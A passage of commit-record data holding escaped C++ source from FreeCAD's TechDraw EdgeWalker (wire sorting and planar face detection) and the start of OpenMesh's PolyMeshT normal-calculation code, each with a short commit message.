}\n    }\n    return result;\n}\n\nvoid ewWireList::push_back(ewWire w)\n{\n    wires.push_back(w);\n}\n\n\nstd::vector<TopoDS_Wire> EdgeWalker::sortStrip(std::vector<TopoDS_Wire> fw, bool includeBiggest)\n{\n    std::vector<TopoDS_Wire> sortedWires = sortWiresBySize(fw,false);           \/\/biggest 1st\n    if (!sortedWires.size()) {\n        Base::Console().Log(\"INFO - DVP::extractFaces - no sorted Wires!\\n\");\n        return sortedWires;                                     \/\/ might happen in the middle of changes?\n    }\n\n    \/\/find the largest wire (OuterWire of graph) using bbox\n    Bnd_Box bigBox;\n    if (sortedWires.size() && !sortedWires.front().IsNull()) {\n        BRepBndLib::Add(sortedWires.front(), bigBox);\n        bigBox.SetGap(0.0);\n    }\n    std::vector<std::size_t> toBeChecked;\n    std::vector<TopoDS_Wire>::iterator it = sortedWires.begin() + 1;\n    for (; it != sortedWires.end(); it++) {\n        if (!(*it).IsNull()) {\n            Bnd_Box littleBox;\n            BRepBndLib::Add((*it), littleBox);\n            littleBox.SetGap(0.0);\n            if (bigBox.SquareExtent() > littleBox.SquareExtent()) {\n                break;\n            } else {\n                auto position = std::distance( sortedWires.begin(), it );    \/\/get an index from iterator\n                toBeChecked.push_back(position);\n            }\n        }\n    }\n\n    \/\/unfortuneately, faces can have same bbox, but not be same size.  need to weed out biggest\n    if (toBeChecked.size() == 0) {\n        \/\/nobody had as big a bbox as first element of sortedWires\n        if (!includeBiggest) {\n            sortedWires.erase(sortedWires.begin());\n        }\n    } else if (toBeChecked.size() > 0) {\n        BRepBuilderAPI_MakeFace mkFace(sortedWires.front());\n        const TopoDS_Face& face = mkFace.Face();\n        GProp_GProps props;\n        BRepGProp::SurfaceProperties(face, props);\n        double bigArea = props.Mass();\n        unsigned int bigIndex = 0;\n        for (unsigned int idx = 0; idx < toBeChecked.size(); idx++) {\n            int iCheck = toBeChecked.at(idx);\n            BRepBuilderAPI_MakeFace mkFace2(sortedWires.at(iCheck));\n            const TopoDS_Face& face2 = mkFace2.Face();\n            BRepGProp::SurfaceProperties(face2, props);\n            double area = props.Mass();\n            if (area > bigArea) {\n                bigArea = area;\n                bigIndex = iCheck;\n            }\n        }\n        if (bigIndex == 0) {                    \/\/first wire is the biggest\n            if (!includeBiggest) {\n                sortedWires.erase(sortedWires.begin());\n            }\n        } else {                                  \/\/first wire is not the biggest\n            TopoDS_Wire bigWire = *(sortedWires.begin() + bigIndex);\n            sortedWires.erase(sortedWires.begin() + bigIndex);\n            if (includeBiggest) {\n                sortedWires.insert(sortedWires.begin(),bigWire);               \/\/doesn't happen often\n            }\n        }\n\n    }\n    return sortedWires;\n}\n\n\/\/sort wires in order of bbox diagonal.\nstd::vector<TopoDS_Wire> EdgeWalker::sortWiresBySize(std::vector<TopoDS_Wire>& w, bool ascend)\n{\n    std::vector<TopoDS_Wire> wires = w;\n    std::sort(wires.begin(), wires.end(), EdgeWalker::wireCompare);\n    if (ascend) {\n        std::reverse(wires.begin(),wires.end());\n    }\n    return wires;\n}\n\n\/\/! return true if w1 bbox is bigger than w2 bbox\n\/\/NOTE: this won't necessarily sort the OuterWire correctly (ex smaller wire, same bbox)\n\/*static*\/bool EdgeWalker::wireCompare(const TopoDS_Wire& w1, const TopoDS_Wire& w2)\n{\n    Bnd_Box box1, box2;\n    if (!w1.IsNull()) {\n        BRepBndLib::Add(w1, box1);\n        box1.SetGap(0.0);\n    }\n\n    if (!w2.IsNull()) {\n        BRepBndLib::Add(w2, box2);\n        box2.SetGap(0.0);\n    }\n\n    return box1.SquareExtent() > box2.SquareExtent();\n}\n<commit_msg>Handle case where no faces found in View.<commit_after>\/***************************************************************************\n *   Copyright (c) 2016 Wandererfan <wandererfan@gmail.com>                *\n *                                                                         *\n *   This file is part of the FreeCAD CAx development system.              *\n *                                                                         *\n *   This library is free software; you can redistribute it and\/or         *\n *   modify it under the terms of the GNU Library General Public           *\n *   License as published by the Free Software Foundation; either          *\n *   version 2 of the License, or (at your option) any later version.      *\n *                                                                         *\n *   This library  is distributed in the hope that it will be useful,      *\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\n *   GNU Library General Public License for more details.                  *\n *                                                                         *\n *   You should have received a copy of the GNU Library General Public     *\n *   License along with this library; see the file COPYING.LIB. If not,    *\n *   write to the Free Software Foundation, Inc., 59 Temple Place,         *\n *   Suite 330, Boston, MA  02111-1307, USA                                *\n *                                                                         *\n ***************************************************************************\/\n\/*                                                                         *\n * Some material based on Boost sample code                                *\/\n\/\/ Distributed under the Boost Software License, Version 1.0. (See\n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/**************************************************************************\n\n\n#include \"PreCompiled.h\"\n#ifndef _PreComp_\n#include <BRepBuilderAPI_MakeWire.hxx>\n#include <BRepBndLib.hxx>\n#include <Bnd_Box.hxx>\n#include <ShapeFix_ShapeTolerance.hxx>\n#include <ShapeExtend_WireData.hxx>\n#include <ShapeFix_Wire.hxx>\n#include <TopExp.hxx>\n#include <TopExp_Explorer.hxx>\n#include <BRepBuilderAPI_MakeFace.hxx>\n#include <GProp_GProps.hxx>\n#include <BRepGProp.hxx>\n\n#endif\n\n#include <Base\/Console.h>\n\n#include \"DrawUtil.h\"\n#include \"EdgeWalker.h\"\n\nusing namespace TechDraw;\nusing namespace boost;\n\n\/\/*******************************************************\n\/\/* edgeVisior methods\n\/\/*******************************************************\ntemplate <typename Edge>\nvoid edgeVisitor::next_edge(Edge e)\n{\n    graph_traits<graph>::vertex_descriptor s = source(e,m_g);\n    graph_traits<graph>::vertex_descriptor t = target(e,m_g);\n    WalkerEdge we;\n    we.v1 = s;\n    we.v2 = t;\n    we.idx = get(edge_index,m_g,e);\n    wireEdges.push_back(we);\n}\n\nvoid edgeVisitor::begin_face()\n{\n    wireEdges.clear();\n}\n\nvoid edgeVisitor::end_face()\n{\n    graphWires.push_back(wireEdges);\n}\n\nTechDraw::ewWireList edgeVisitor::getResult(void)\n{\n    return graphWires;\n}\n\nvoid edgeVisitor::setGraph(TechDraw::graph& g)\n{\n    m_g = g;\n}\n\n\/\/*******************************************************\n\/\/* EdgeWalker\n\/\/*******************************************************\n\nEdgeWalker::EdgeWalker()\n{\n}\n\nEdgeWalker::~EdgeWalker()\n{\n}\n\nbool EdgeWalker::loadEdges(std::vector<TechDraw::WalkerEdge> edges)\n{\n    for (auto e: edges) {\n        add_edge(e.v1,e.v2,m_g);\n    }\n    return true;\n}\n\nbool EdgeWalker::loadEdges(std::vector<TopoDS_Edge> edges)\n{\n    std::vector<TopoDS_Vertex> verts = makeUniqueVList(edges);\n    setSize(verts.size());\n    std::vector<WalkerEdge>  we  = makeWalkerEdges(edges, verts);\n    saveInEdges = edges;\n\n    return loadEdges(we);\n}\nbool EdgeWalker::setSize(int size)\n{\n    m_g.clear();\n    for (int i = 0; i < size; i++) {\n        boost::adjacency_list<>::vertex_descriptor vd = boost::add_vertex(m_g);\n    }\n    return true;\n}\n\nbool EdgeWalker::perform()\n{\n    \/\/ Initialize the interior edge index\n    \/\/property<edge_index_t, int>\n    property_map<TechDraw::graph, edge_index_t>::type e_index = get(edge_index, m_g);\n    graph_traits<TechDraw::graph>::edges_size_type edge_count = 0;\n    graph_traits<TechDraw::graph>::edge_iterator ei, ei_end;\n    for(boost::tie(ei, ei_end) = edges(m_g); ei != ei_end; ++ei)\n      put(e_index, *ei, edge_count++);\n\n    \/\/ Test for planarity - we know it is planar, we just want to\n    \/\/ compute the planar embedding as a side-effect\n    typedef std::vector< graph_traits<TechDraw::graph>::edge_descriptor > vec_t;\n    std::vector<vec_t> embedding(num_vertices(m_g));\n    boyer_myrvold_planarity_test(boyer_myrvold_params::graph = m_g,\n                                 boyer_myrvold_params::embedding = &embedding[0]);\n\n    m_eV.setGraph(m_g);\n    planar_face_traversal(m_g, &embedding[0], m_eV);\n\n    return true;\n}\n\newWireList EdgeWalker::getResult()\n{\n    ewWireList result = m_eV.getResult();\n    \/\/ result is a list of many wires each of which is a list of many WE\n    return result;\n}\n\nstd::vector<TopoDS_Wire> EdgeWalker::getResultWires()\n{\n    std::vector<TopoDS_Wire> fw;\n    ewWireList result = m_eV.getResult();\n    if (result.wires.empty()) {\n        return fw;\n    }\n\n    std::vector<ewWire>::iterator iWire = result.wires.begin();     \/\/ a WE within [WE]\n    for (;iWire != result.wires.end(); iWire++) {\n        std::vector<WalkerEdge>::iterator iEdge = (*iWire).wedges.begin();\n        std::vector<TopoDS_Edge> topoEdges;\n        for (;iEdge != (*iWire).wedges.end(); iEdge++) {\n            TopoDS_Edge e = saveInEdges.at((*iEdge).idx);\n            topoEdges.push_back(e);\n        }\n    TopoDS_Wire w = makeCleanWire(topoEdges);             \/\/make 1 clean wire from its edges\n    fw.push_back(w);\n    }\n    return fw;\n}\n\nstd::vector<TopoDS_Wire> EdgeWalker::getResultNoDups()\n{\n    std::vector<TopoDS_Wire> fw;\n    ewWireList result = m_eV.getResult();\n    if (result.wires.empty()) {\n        return fw;\n    }\n    result = result.removeDuplicates();\n\n    std::vector<ewWire>::iterator iWire = result.wires.begin();\n    for (;iWire != result.wires.end(); iWire++) {\n        std::vector<WalkerEdge>::iterator iEdge = (*iWire).wedges.begin();\n        std::vector<TopoDS_Edge> topoEdges;\n        for (;iEdge != (*iWire).wedges.end(); iEdge++) {\n            TopoDS_Edge e = saveInEdges.at((*iEdge).idx);\n            topoEdges.push_back(e);\n        }\n    TopoDS_Wire w = makeCleanWire(topoEdges);             \/\/make 1 clean wire from its edges\n    fw.push_back(w);\n    }\n    return fw;\n}\n\n\n\/\/! make a clean wire with sorted, oriented, connected, etc edges\nTopoDS_Wire EdgeWalker::makeCleanWire(std::vector<TopoDS_Edge> edges, double tol)\n{\n    TopoDS_Wire result;\n    BRepBuilderAPI_MakeWire mkWire;\n    ShapeFix_ShapeTolerance sTol;\n    Handle(ShapeExtend_WireData) wireData = new ShapeExtend_WireData();\n\n    for (auto e:edges) {\n        wireData->Add(e);\n    }\n\n    Handle(ShapeFix_Wire) fixer = new ShapeFix_Wire;\n    fixer->Load(wireData);\n    fixer->Perform();\n    fixer->FixReorder();\n    fixer->SetMaxTolerance(tol);\n    fixer->ClosedWireMode() = Standard_True;\n    fixer->FixConnected(Precision::Confusion());\n    fixer->FixClosed(Precision::Confusion());\n\n    for (int i = 1; i <= wireData->NbEdges(); i ++) {\n        TopoDS_Edge edge = fixer->WireData()->Edge(i);\n        sTol.SetTolerance(edge, tol, TopAbs_VERTEX);\n        mkWire.Add(edge);\n    }\n\n    result = mkWire.Wire();\n    return result;\n}\n\nstd::vector<TopoDS_Vertex> EdgeWalker:: makeUniqueVList(std::vector<TopoDS_Edge> edges)\n{\n    std::vector<TopoDS_Vertex> uniqueVert;\n    for(auto& e:edges) {\n        TopoDS_Vertex v1 = TopExp::FirstVertex(e);\n        TopoDS_Vertex v2 = TopExp::LastVertex(e);\n        bool addv1 = true;\n        bool addv2 = true;\n        for (auto v:uniqueVert) {\n            if (DrawUtil::isSamePoint(v,v1))\n                addv1 = false;\n            if (DrawUtil::isSamePoint(v,v2))\n                addv2 = false;\n        }\n        if (addv1)\n            uniqueVert.push_back(v1);\n        if (addv2)\n            uniqueVert.push_back(v2);\n    }\n    return uniqueVert;\n}\n\n\/\/!make WalkerEdges (unique Vertex index pairs) from edge list\nstd::vector<WalkerEdge> EdgeWalker::makeWalkerEdges(std::vector<TopoDS_Edge> edges,\n                                                      std::vector<TopoDS_Vertex> verts)\n{\n    std::vector<WalkerEdge> walkerEdges;\n    for (auto e:edges) {\n        TopoDS_Vertex ev1 = TopExp::FirstVertex(e);\n        TopoDS_Vertex ev2 = TopExp::LastVertex(e);\n        int v1dx = findUniqueVert(ev1, verts);\n        int v2dx = findUniqueVert(ev2, verts);\n        WalkerEdge we;\n        we.v1 = v1dx;\n        we.v2 = v2dx;\n        walkerEdges.push_back(we);\n    }\n    return walkerEdges;\n}\n\nint EdgeWalker::findUniqueVert(TopoDS_Vertex vx, std::vector<TopoDS_Vertex> &uniqueVert)\n{\n    int idx = 0;\n    int result = 0;\n    for(auto& v:uniqueVert) {                    \/\/we're always going to find vx, right?\n        if (DrawUtil::isSamePoint(v,vx)) {\n            result = idx;\n            break;\n        }\n        idx++;\n    }                                           \/\/if idx >= uniqueVert.size() TARFU\n    return result;\n}\n\n\/*static*\/ bool WalkerEdge::weCompare(WalkerEdge i, WalkerEdge j)\n{\n    return (i.idx < j.idx);\n}\n\nbool ewWire::isEqual(ewWire w2)\n{\n    bool result = true;\n    if (wedges.size() != w2.wedges.size()) {\n        result = false;\n    } else {\n        std::sort(wedges.begin(),wedges.end(),WalkerEdge::weCompare);\n        std::sort(w2.wedges.begin(),w2.wedges.end(),WalkerEdge::weCompare);\n        for (unsigned int i = 0; i < w2.wedges.size(); i ++) {\n            if (wedges.at(i).idx != w2.wedges.at(i).idx) {\n                result = false;\n                break;\n            }\n        }\n    }\n    return result;\n}\n\nvoid ewWire::push_back(WalkerEdge w)\n{\n    wedges.push_back(w);\n}\n\n\/\/check wirelist for wires that use the same set of edges, but maybe in a different order.\newWireList ewWireList::removeDuplicates()\n{\n    ewWireList result;\n    if (wires.empty()) {\n        return result;\n    }\n    result.push_back(*(wires.begin()));                \/\/save the first ewWire\n    std::vector<ewWire>::iterator iWire = (wires.begin()) + 1;    \/\/starting with second\n    for (; iWire != wires.end(); iWire++) {\n        bool addToResult = true;\n        for (auto& w:result.wires) {\n            if ((*iWire).isEqual(w))  {             \/\/already in result?\n                addToResult = false;\n                break;\n            }\n        }\n        if (addToResult) {\n            result.push_back((*iWire));\n        }\n    }\n    return result;\n}\n\nvoid ewWireList::push_back(ewWire w)\n{\n    wires.push_back(w);\n}\n\n\nstd::vector<TopoDS_Wire> EdgeWalker::sortStrip(std::vector<TopoDS_Wire> fw, bool includeBiggest)\n{\n    std::vector<TopoDS_Wire> sortedWires = sortWiresBySize(fw,false);           \/\/biggest 1st\n    if (!sortedWires.size()) {\n        Base::Console().Log(\"INFO - DVP::extractFaces - no sorted Wires!\\n\");\n        return sortedWires;                                     \/\/ might happen in the middle of changes?\n    }\n\n    \/\/find the largest wire (OuterWire of graph) using bbox\n    Bnd_Box bigBox;\n    if (sortedWires.size() && !sortedWires.front().IsNull()) {\n        BRepBndLib::Add(sortedWires.front(), bigBox);\n        bigBox.SetGap(0.0);\n    }\n    std::vector<std::size_t> toBeChecked;\n    std::vector<TopoDS_Wire>::iterator it = sortedWires.begin() + 1;\n    for (; it != sortedWires.end(); it++) {\n        if (!(*it).IsNull()) {\n            Bnd_Box littleBox;\n            BRepBndLib::Add((*it), littleBox);\n            littleBox.SetGap(0.0);\n            if (bigBox.SquareExtent() > littleBox.SquareExtent()) {\n                break;\n            } else {\n                auto position = std::distance( sortedWires.begin(), it );    \/\/get an index from iterator\n                toBeChecked.push_back(position);\n            }\n        }\n    }\n\n    \/\/unfortuneately, faces can have same bbox, but not be same size.  need to weed out biggest\n    if (toBeChecked.size() == 0) {\n        \/\/nobody had as big a bbox as first element of sortedWires\n        if (!includeBiggest) {\n            sortedWires.erase(sortedWires.begin());\n        }\n    } else if (toBeChecked.size() > 0) {\n        BRepBuilderAPI_MakeFace mkFace(sortedWires.front());\n        const TopoDS_Face& face = mkFace.Face();\n        GProp_GProps props;\n        BRepGProp::SurfaceProperties(face, props);\n        double bigArea = props.Mass();\n        unsigned int bigIndex = 0;\n        for (unsigned int idx = 0; idx < toBeChecked.size(); idx++) {\n            int iCheck = toBeChecked.at(idx);\n            BRepBuilderAPI_MakeFace mkFace2(sortedWires.at(iCheck));\n            const TopoDS_Face& face2 = mkFace2.Face();\n            BRepGProp::SurfaceProperties(face2, props);\n            double area = props.Mass();\n            if (area > bigArea) {\n                bigArea = area;\n                bigIndex = iCheck;\n            }\n        }\n        if (bigIndex == 0) {                    \/\/first wire is the biggest\n            if (!includeBiggest) {\n                sortedWires.erase(sortedWires.begin());\n            }\n        } else {                                  \/\/first wire is not the biggest\n            TopoDS_Wire bigWire = *(sortedWires.begin() + bigIndex);\n            sortedWires.erase(sortedWires.begin() + bigIndex);\n            if (includeBiggest) {\n                sortedWires.insert(sortedWires.begin(),bigWire);               \/\/doesn't happen often\n            }\n        }\n\n    }\n    return sortedWires;\n}\n\n\/\/sort wires in order of bbox diagonal.\nstd::vector<TopoDS_Wire> EdgeWalker::sortWiresBySize(std::vector<TopoDS_Wire>& w, bool ascend)\n{\n    std::vector<TopoDS_Wire> wires = w;\n    std::sort(wires.begin(), wires.end(), EdgeWalker::wireCompare);\n    if (ascend) {\n        std::reverse(wires.begin(),wires.end());\n    }\n    return wires;\n}\n\n\/\/! return true if w1 bbox is bigger than w2 bbox\n\/\/NOTE: this won't necessarily sort the OuterWire correctly (ex smaller wire, same bbox)\n\/*static*\/bool EdgeWalker::wireCompare(const TopoDS_Wire& w1, const TopoDS_Wire& w2)\n{\n    Bnd_Box box1, box2;\n    if (!w1.IsNull()) {\n        BRepBndLib::Add(w1, box1);\n        box1.SetGap(0.0);\n    }\n\n    if (!w2.IsNull()) {\n        BRepBndLib::Add(w2, box2);\n        box2.SetGap(0.0);\n    }\n\n    return box1.SquareExtent() > box2.SquareExtent();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*===========================================================================*\\\n *                                                                           *\n *                               OpenMesh                                    *\n *      Copyright (C) 2001-2011 by Computer Graphics Group, RWTH Aachen      *\n *                           www.openmesh.org                                *\n *                                                                           *\n *---------------------------------------------------------------------------* \n *  This file is part of OpenMesh.                                           *\n *                                                                           *\n *  OpenMesh is free software: you can redistribute it and\/or modify         * \n *  it under the terms of the GNU Lesser General Public License as           *\n *  published by the Free Software Foundation, either version 3 of           *\n *  the License, or (at your option) any later version with the              *\n *  following exceptions:                                                    *\n *                                                                           *\n *  If other files instantiate templates or use macros                       *\n *  or inline functions from this file, or you compile this file and         *\n *  link it with other files to produce an executable, this file does        *\n *  not by itself cause the resulting executable to be covered by the        *\n *  GNU Lesser General Public License. This exception does not however       *\n *  invalidate any other reasons why the executable file might be            *\n *  covered by the GNU Lesser General Public License.                        *\n *                                                                           *\n *  OpenMesh is distributed in the hope that it will be useful,              *\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of           *\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the            *\n *  GNU Lesser General Public License for more details.                      *\n *                                                                           *\n *  You should have received a copy of the GNU LesserGeneral Public          *\n *  License along with OpenMesh.  If not,                                    *\n *  see <http:\/\/www.gnu.org\/licenses\/>.                                      *\n *                                                                           *\n\\*===========================================================================*\/ \n\n\/*===========================================================================*\\\n *                                                                           *             \n *   $Revision$                                                         *\n *   $Date$                   *\n *                                                                           *\n\\*===========================================================================*\/\n\n\n\/\/=============================================================================\n\/\/\n\/\/  CLASS PolyMeshT - IMPLEMENTATION\n\/\/\n\/\/=============================================================================\n\n\n#define OPENMESH_POLYMESH_C\n\n\n\/\/== INCLUDES =================================================================\n\n#include <OpenMesh\/Core\/Mesh\/PolyMeshT.hh>\n#include <OpenMesh\/Core\/Geometry\/LoopSchemeMaskT.hh>\n#include <OpenMesh\/Core\/Utils\/vector_cast.hh>\n#include <OpenMesh\/Core\/System\/omstream.hh>\n#include <vector>\n\n\n\/\/== NAMESPACES ===============================================================\n\n\nnamespace OpenMesh {\n\n\/\/== IMPLEMENTATION ==========================================================\n\ntemplate <class Kernel>\nuint PolyMeshT<Kernel>::find_feature_edges(Scalar _angle_tresh)\n{\n  assert(Kernel::has_edge_status());\/\/this function needs edge status property\n  uint n_feature_edges = 0;\n  for (EdgeIter e_it = Kernel::edges_begin(); e_it != Kernel::edges_end(); ++e_it)\n  {\n    if (fabs(calc_dihedral_angle(e_it)) > _angle_tresh)\n    {\/\/note: could be optimized by comparing cos(dih_angle) vs. cos(_angle_tresh)\n      status(e_it).set_feature(true);\n      n_feature_edges++;\n    }\n    else\n    {\n      status(e_it).set_feature(false);\n    }\n  }\n  return n_feature_edges;\n}\n\n\/\/-----------------------------------------------------------------------------\n\ntemplate <class Kernel>\ntypename PolyMeshT<Kernel>::Normal\nPolyMeshT<Kernel>::\ncalc_face_normal(FaceHandle _fh) const\n{\n  assert(this->halfedge_handle(_fh).is_valid());\n  ConstFaceVertexIter fv_it(this->cfv_iter(_fh));\n  \n  Point p0 = this->point(fv_it);\n  Point p0i = p0; \/\/save point of vertex 0\n  ++fv_it;\n  Point p1 = this->point(fv_it);\n  Point p1i = p1; \/\/save point of vertex 1\n  ++fv_it;\n  Point p2;\n  \n  \/\/calculate area-weighted average normal of polygon's ears\n  Normal n(0,0,0);\n  for(; fv_it; ++fv_it)\n  {\n    p2 = this->point(fv_it);\n    n += vector_cast<Normal>(calc_face_normal(p0, p1, p2)); \n    p0 = p1;\n    p1 = p2;\n  }\n  \n  \/\/two additional steps since we started at vertex 2, not 0\n  n += vector_cast<Normal>(calc_face_normal(p0i, p0, p1)); \n  n += vector_cast<Normal>(calc_face_normal(p1i, p0i, p1));\n\n  typename Normal::value_type norm = n.length();\n  \n  \/\/ The expression ((n *= (1.0\/norm)),n) is used because the OpenSG\n  \/\/ vector class does not return self after component-wise\n  \/\/ self-multiplication with a scalar!!!\n  return (norm != typename Normal::value_type(0)) ? ((n *= (typename Normal::value_type(1)\/norm)),n) : Normal(0,0,0);\n}\n\n\/\/-----------------------------------------------------------------------------\n\n\ntemplate <class Kernel>\ntypename PolyMeshT<Kernel>::Normal\nPolyMeshT<Kernel>::\ncalc_face_normal(const Point& _p0,\n     const Point& _p1,\n     const Point& _p2) const\n{\n#if 1\n  \/\/ The OpenSG <Vector>::operator -= () does not support the type Point\n  \/\/ as rhs. Therefore use vector_cast at this point!!!\n  \/\/ Note! OpenSG distinguishes between Normal and Point!!!\n  Normal p1p0(vector_cast<Normal>(_p0));  p1p0 -= vector_cast<Normal>(_p1);\n  Normal p1p2(vector_cast<Normal>(_p2));  p1p2 -= vector_cast<Normal>(_p1);\n\n  Normal n    = cross(p1p2, p1p0);\n  typename Normal::value_type norm = n.length();\n\n  \/\/ The expression ((n *= (1.0\/norm)),n) is used because the OpenSG\n  \/\/ vector class does not return self after component-wise\n  \/\/ self-multiplication with a scalar!!!\n  return (norm != typename Normal::value_type(0)) ? ((n *= (typename Normal::value_type(1)\/norm)),n) : Normal(0,0,0);\n#else\n  Point p1p0 = _p0;  p1p0 -= _p1;\n  Point p1p2 = _p2;  p1p2 -= _p1;\n\n  Normal n = vector_cast<Normal>(cross(p1p2, p1p0));\n  typename Normal::value_type norm = n.length();\n\n  return (norm != 0.0) ? n *= (1.0\/norm) : Normal(0,0,0);\n#endif\n}\n\n\/\/-----------------------------------------------------------------------------\n\ntemplate <class Kernel>\nvoid\nPolyMeshT<Kernel>::\ncalc_face_centroid(FaceHandle _fh, Point& _pt) const\n{\n  _pt.vectorize(0);\n  uint valence = 0;\n  for (ConstFaceVertexIter cfv_it = this->cfv_iter(_fh); cfv_it; ++cfv_it, ++valence)\n  {\n    _pt += this->point(cfv_it);\n  }\n  _pt \/= valence;\n}\n\/\/-----------------------------------------------------------------------------\n\n\ntemplate <class Kernel>\nvoid\nPolyMeshT<Kernel>::\nupdate_normals()\n{\n  \/\/ Face normals are required to compute the vertex and the halfedge normals\n  if (Kernel::has_face_normals() ) {     \n    update_face_normals();\n\n    if (Kernel::has_vertex_normals() ) update_vertex_normals();\n    if (Kernel::has_halfedge_normals()) update_halfedge_normals();\n  }\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\n\ntemplate <class Kernel>\nvoid\nPolyMeshT<Kernel>::\nupdate_face_normals()\n{\n  FaceIter f_it(Kernel::faces_begin()), f_end(Kernel::faces_end());\n\n  for (; f_it != f_end; ++f_it)\n    this->set_normal(f_it.handle(), calc_face_normal(f_it.handle()));\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\n\ntemplate <class Kernel>\nvoid\nPolyMeshT<Kernel>::\nupdate_halfedge_normals(const double _feature_angle)\n{\n  HalfedgeIter h_it(Kernel::halfedges_begin()), h_end(Kernel::halfedges_end());\n\n  for (; h_it != h_end; ++h_it)\n    this->set_normal(h_it.handle(), calc_halfedge_normal(h_it.handle(), _feature_angle));\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\n\ntemplate <class Kernel>\ntypename PolyMeshT<Kernel>::Normal\nPolyMeshT<Kernel>::\ncalc_halfedge_normal(HalfedgeHandle _heh, const double _feature_angle) const\n{\n  if(Kernel::is_boundary(_heh))\n    return Normal(0,0,0);\n  else\n  {\n    std::vector<FaceHandle> fhs; fhs.reserve(10);\n\n    HalfedgeHandle heh = _heh;\n\n    \/\/ collect CW face-handles\n    do\n    {\n      fhs.push_back(Kernel::face_handle(heh));\n\n      heh = Kernel::next_halfedge_handle(heh);\n      heh = Kernel::opposite_halfedge_handle(heh);\n    }\n    while(heh != _heh && !Kernel::is_boundary(heh) && !is_estimated_feature_edge(heh, _feature_angle));\n\n    \/\/ collect CCW face-handles\n    if(heh != _heh && !is_estimated_feature_edge(_heh, _feature_angle))\n    {\n      heh = Kernel::opposite_halfedge_handle(_heh);\n\n      if ( !Kernel::is_boundary(heh) ) {\n        do\n        {\n\n          fhs.push_back(Kernel::face_handle(heh));\n\n          heh = Kernel::prev_halfedge_handle(heh);\n          heh = Kernel::opposite_halfedge_handle(heh);\n        }\n        while(!Kernel::is_boundary(heh) && !is_estimated_feature_edge(heh, _feature_angle));\n      }\n    }\n\n    Normal n(0,0,0);\n    for(unsigned int i=0; i<fhs.size(); ++i)\n      n += Kernel::normal(fhs[i]);\n\n    return n.normalize();\n  }\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\n\ntemplate <class Kernel>\nbool\nPolyMeshT<Kernel>::\nis_estimated_feature_edge(HalfedgeHandle _heh, const double _feature_angle) const\n{\n  EdgeHandle eh = Kernel::edge_handle(_heh);\n\n  if(Kernel::has_edge_status())\n  {\n    if(Kernel::status(eh).feature())\n      return true;\n  }\n\n  if(Kernel::is_boundary(eh))\n    return false;\n\n  \/\/ compute angle between faces\n  FaceHandle fh0 = Kernel::face_handle(_heh);\n  FaceHandle fh1 = Kernel::face_handle(Kernel::opposite_halfedge_handle(_heh));\n\n  Normal fn0 = Kernel::normal(fh0);\n  Normal fn1 = Kernel::normal(fh1);\n\n  \/\/ dihedral angle above angle threshold\n  return ( dot(fn0,fn1) < cos(_feature_angle) );\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\n\ntemplate <class Kernel>\ntypename PolyMeshT<Kernel>::Normal\nPolyMeshT<Kernel>::\ncalc_vertex_normal(VertexHandle _vh) const\n{\n  Normal n;\n  calc_vertex_normal_fast(_vh,n);\n\n  Scalar norm = n.length();\n  if (norm != 0.0) n *= (1.0\/norm);\n\n  return n;\n}\n\n\/\/-----------------------------------------------------------------------------\ntemplate <class Kernel>\nvoid PolyMeshT<Kernel>::\ncalc_vertex_normal_fast(VertexHandle _vh, Normal& _n) const\n{\n  _n.vectorize(0.0);\n  for (ConstVertexFaceIter vf_it=this->cvf_iter(_vh); vf_it; ++vf_it)\n    _n += this->normal(vf_it.handle());\n}\n\n\/\/-----------------------------------------------------------------------------\ntemplate <class Kernel>\nvoid PolyMeshT<Kernel>::\ncalc_vertex_normal_correct(VertexHandle _vh, Normal& _n) const\n{\n  _n.vectorize(0.0);\n  ConstVertexIHalfedgeIter cvih_it = cvih_iter(_vh);\n  if (!cvih_it)\n  {\/\/don't crash on isolated vertices\n    return;\n  }\n  Normal in_he_vec;\n  calc_edge_vector(cvih_it, in_he_vec);\n  for ( ; cvih_it; ++cvih_it)\n  {\/\/calculates the sector normal defined by cvih_it and adds it to _n\n    if (is_boundary(cvih_it))\n    {\n      continue;\n    }\n    HalfedgeHandle out_heh(next_halfedge_handle(cvih_it));\n    Normal out_he_vec;\n    calc_edge_vector(out_heh, out_he_vec);\n    _n += cross(in_he_vec, out_he_vec);\/\/sector area is taken into account\n    in_he_vec = out_he_vec;\n    in_he_vec *= -1;\/\/change the orientation\n  }\n}\n\n\/\/-----------------------------------------------------------------------------\ntemplate <class Kernel>\nvoid PolyMeshT<Kernel>::\ncalc_vertex_normal_loop(VertexHandle _vh, Normal& _n) const\n{\n  static const LoopSchemeMaskDouble& loop_scheme_mask__ =\n                  LoopSchemeMaskDoubleSingleton::Instance();\n\n  Normal t_v(0.0,0.0,0.0), t_w(0.0,0.0,0.0);\n  unsigned int vh_val = valence(_vh);\n  unsigned int i = 0;\n  for (ConstVertexOHalfedgeIter cvoh_it = cvoh_iter(_vh); cvoh_it; ++cvoh_it, ++i)\n  {\n    VertexHandle r1_v(to_vertex_handle(cvoh_it));\n    t_v += (typename Point::value_type)(loop_scheme_mask__.tang0_weight(vh_val, i))*this->point(r1_v);\n    t_w += (typename Point::value_type)(loop_scheme_mask__.tang1_weight(vh_val, i))*this->point(r1_v);\n  }\n  _n = cross(t_w, t_v);\/\/hack: should be cross(t_v, t_w), but then the normals are reversed?\n}\n\n\/\/-----------------------------------------------------------------------------\n\n\ntemplate <class Kernel>\nvoid\nPolyMeshT<Kernel>::\nupdate_vertex_normals()\n{\n  VertexIter  v_it(Kernel::vertices_begin()), v_end(Kernel::vertices_end());\n\n  for (; v_it!=v_end; ++v_it)\n    this->set_normal(v_it.handle(), calc_vertex_normal(v_it.handle()));\n}\n\n\/\/=============================================================================\n} \/\/ namespace OpenMesh\n\/\/=============================================================================\n<commit_msg>Fixed build warning due to types<commit_after>\/*===========================================================================*\\\n *                                                                           *\n *                               OpenMesh                                    *\n *      Copyright (C) 2001-2011 by Computer Graphics Group, RWTH Aachen      *\n *                           www.openmesh.org                                *\n *                                                                           *\n *---------------------------------------------------------------------------* \n *  This 